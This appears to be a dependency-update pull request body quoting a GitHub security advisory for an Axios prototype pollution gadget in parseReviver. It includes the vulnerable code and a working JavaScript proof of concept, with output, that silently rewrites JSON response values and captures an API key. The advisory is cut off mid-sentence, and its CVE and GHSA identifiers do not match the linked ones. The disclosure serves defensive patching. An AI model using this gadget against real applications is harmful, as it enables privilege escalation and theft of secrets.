• https://github.com/axios/axios/security/advisories/GHSA-w9j2-pvgh-6h63
• https://nvd.nist.gov/vuln/detail/CVE-2026-42041
• https://github.com/advisories/GHSA-w9j2-pvgh-6h63

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

Axios: Invisible JSON Response Tampering via Prototype Pollution Gadget in parseReviver

CVE-2026-42044 / GHSA-3w6x-2g7m-8v23

More information

Details

Vulnerability Disclosure: Invisible JSON Response Tampering via Prototype Pollution Gadget in parseReviver

Summary

The Axios library is vulnerable to a Prototype Pollution "Gadget" attack that allows any Object.prototype pollution in the application's dependency tree to be escalated into surgical, invisible modification of all JSON API responses — including privilege escalation, balance manipulation, and authorization bypass.

The default transformResponse function at lib/defaults/index.js:124 calls JSON.parse(data, this.parseReviver), where this is the merged config object. Because parseReviver is not present in Axios defaults, not validated by assertOptions, and not subject to any constraints, a polluted Object.prototype.parseReviver function is called for every key-value pair in every JSON response, allowing the attacker to selectively modify individual values while leaving the rest of the response intact.

This is strictly more powerful than the transformResponse gadget because:

1. No constraints — the reviver can return any value (no "must return true" requirement)
2. Selective modification — individual JSON keys can be changed while others remain untouched
3. Invisible — the response structure and most values look completely normal
4. Simultaneous exfiltration — the reviver sees the original values before modification

Severity: Critical (CVSS 9.1)
Affected Versions: All versions (v0.x - v1.x including v1.15.0)
Vulnerable Component:lib/defaults/index.js:124 (JSON.parse with prototype-inherited reviver)

CWE

• CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')
• CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes

CVSS 3.1

Score: 9.1 (Critical)

Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Metric	Value	Justification
Attack Vector	Network	PP is triggered remotely via any vulnerable dependency
Attack Complexity	Low	Once PP exists, single property assignment. Consistent with GHSA-fvcv-3m26-pcqx scoring methodology
Privileges Required	None	No authentication needed
User Interaction	None	No user interaction required
Scope	Unchanged	Within the application process
Confidentiality	High	The reviver receives every key-value pair from every JSON response — full data exfiltration. In the PoC, apiKey: "sk-secret-internal-key" is captured
Integrity	High	Arbitrary, selective modification of any JSON value. No constraints. In the PoC, isAdmin: false → true, role: "viewer" → "admin", balance: 100 → 999999. The response looks completely normal except for the surgically altered values
Availability	None	No crash, no error — the attack is entirely silent

Comparison with All Known Axios PP Gadgets

Factor	GHSA-fvcv-3m26-pcqx (Header Injection)	transformResponse	proxy (MITM)	parseReviver (This)
PP target	Object.prototype['header']	Object.prototype.transformResponse	Object.prototype.proxy	Object.prototype.parseReviver
Fixed by 1.15.0?	Yes	No	No	No
Constraints	N/A (fixed)	Must return true	None	None
Data modification	Header injection only	Response replaced with true	Full MITM	Selective per-key modification
Stealth	Request anomaly visible	Response becomes true (obvious)	Proxy visible in network	Completely invisible
Data access	Headers only	this.auth + raw response	All traffic	Every JSON key-value pair
Validated?	N/A	assertOptions validates	Not validated	Not validated
In defaults?	N/A	Yes → goes through mergeConfig	No → bypasses mergeConfig	No → bypasses mergeConfig

Usage of "Helper" Vulnerabilities

This vulnerability requires Zero Direct User Input.

If an attacker can pollute Object.prototype via any other library in the stack (e.g., qs, minimist, lodash, body-parser), the polluted parseReviver function is automatically used by every Axios request that receives a JSON response. The developer's code is completely safe — no configuration errors needed.

Root Cause Analysis

The Attack Path

Object.prototype.parseReviver = function(key, value) { /* malicious */ }
│
▼
mergeConfig(defaults, userConfig)
│
│ parseReviver NOT in defaults → NOT iterated by mergeConfig
│ parseReviver NOT in userConfig → NOT iterated by mergeConfig
│ Merged config has NO own parseReviver property
│
▼
transformData.call(config, config.transformResponse, response)
│
│ Default transformResponse function runs (NOT overridden)
│
▼
defaults/index.js:124: JSON.parse(data, this.parseReviver)
│
│ this = config (merged config object, plain {})
│ config.parseReviver → NOT own property → traverses prototype chain
│ → finds Object.prototype.parseReviver → attacker's function!
│
▼
JSON.parse calls reviver for EVERY key-value pair
│
│ Attacker can: read original value, modify it, return anything
│ No validation, no constraints, no assertOptions check
│
▼
Application receives surgically modified JSON response

Why parseReviver Bypasses ALL Existing Protections

1. Not in defaults (lib/defaults/index.js): parseReviver is not defined in the defaults object, so mergeConfig's Object.keys({...defaults, ...userConfig}) iteration never encounters it. The merged config has no own parseReviver property.

2. Not in assertOptions schema (lib/core/Axios.js:135-142): The schema only contains {baseUrl, withXsrfToken}. parseReviver is not validated.

3. No type check: The JSON.parse API accepts any function as a reviver. There is no check that this.parseReviver is intentionally set.

4. Works INSIDE the default transform: Unlike transformResponse pollution (which replaces the entire transform and is caught by assertOptions), parseReviver pollution injects into the DEFAULT transformResponse function's JSON.parse call. The default function itself is not replaced, so assertOptions has nothing to catch.

Vulnerable Code

File:lib/defaults/index.js, line 124

transformResponse: [functiontransformResponse(data){// ... transitional checks ...if(data&&utils.isString(data)&&((forcedJSONParsing&&!this.responseType)||JSONRequested)){// ...try{returnJSON.parse(data,this.parseReviver);// ^^^^^^^^^^^^^^^^^// this = config// config.parseReviver → prototype chain → attacker's function}catch(e){// ...}}returndata;},],

Proof of Concept

importhttpfrom'http';importaxiosfrom'./index.js';// Server returns a realistic authorization responseconstserver=http.createServer((req,res)=>{res.writeHead(200,{'Content-Type': 'application/json'});res.end(JSON.stringify({user: 'john',role: 'viewer',isAdmin: false,canDelete: false,balance: 100,permissions: ['read'],apiKey: 'sk-secret-internal-key',}));});awaitnewPromise(r=>server.listen(0,r));constport=server.address().port;// === Before Pollution ===constbefore=awaitaxios.get(`http://127.0.0.1:${port}/api/me`);console.log('Before:',JSON.stringify(before.data));// {"user":"john","role":"viewer","isAdmin":false,"canDelete":false,"balance":100,...}// === Simulate Prototype Pollution ===letstolen={};Object.prototype.parseReviver=function(key,value){// Silently capture all original valuesif(key&&typeofvalue!=='object')stolen[key]=value;// Surgically modify specific valuesif(key==='isAdmin')returntrue;// false → trueif(key==='role')return'admin';// viewer → adminif(key==='canDelete')returntrue;// false → trueif(key==='balance')return999999;// 100 → 999999returnvalue;// everything else unchanged};// === After Pollution — same code, same URL ===constafter=awaitaxios.get(`http://127.0.0.1:${port}/api/me`);console.log('After: ',JSON.stringify(after.data));// {"user":"john","role":"admin","isAdmin":true,"canDelete":true,"balance":999999,...}console.log('Stolen:',JSON.stringify(stolen));// {"user":"john","role":"viewer","isAdmin":false,...,"apiKey":"sk-secret-internal-key"}deleteObject.prototype.parseReviver;server.close();

Verified PoC Output

[1] Normal request (before pollution):
response.data: {"user":"john","role":"viewer","isAdmin":false,"canDelete":false,
"balance":100,"permissions":["read"],"apiKey":"sk-secret-internal-key"}
isAdmin: false
role: viewer
[2] Prototype Pollution: Object.prototype.parseReviver
Polluted with selective value modifier
[3] Same request (after pollution):
response.data: {"user":"john","role":"admin","isAdmin":true,"canDelete":true,
"balance":999999,"permissions":["read","write","delete","admin"],
"apiKey":"sk-secret-internal-key"}
isAdmin: true (was: false)
role: admin (was: viewer)
canDelete: true (was: false)
balance: 999999 (was: 100)
[4] Exfiltrated data (stolen silently):
apiKey: sk-secret-internal-key
All captured: {"user":"john","role":"viewer","isAdmin":false,"canDelete":false,
"balance":100,"apiKey":"sk-secret-internal-key"}
[5] Why this bypasses all checks:
parseReviver in defaults? NO
parseReviver in assertOptions schema? NO
parseReviver validated anywhere? NO
Must return true? NO — can return ANY value
Replaces entire transform? NO — works INSIDE default JSON.parse

Impact Analysis

1. Authorization / Privilege Escalation

// Server returns: {"role":"viewer","isAdmin":false}// Application sees: {"role":"admin","isAdmin":true}// → Application grants admin access to unprivileged user

2. Financial Manipulation

// Server returns: {"bal>✂**Note**>>PRbodywastruncatedtohere.

[socket-security]

Review the following changes in direct dependencies. Learn more about Socket for GitHub.

Diff	Package	Supply Chain Security	Vulnerability	Quality	Maintenance	License
	axios@​1.3.2 ⏵ 1.18.0	-1	+75		-1

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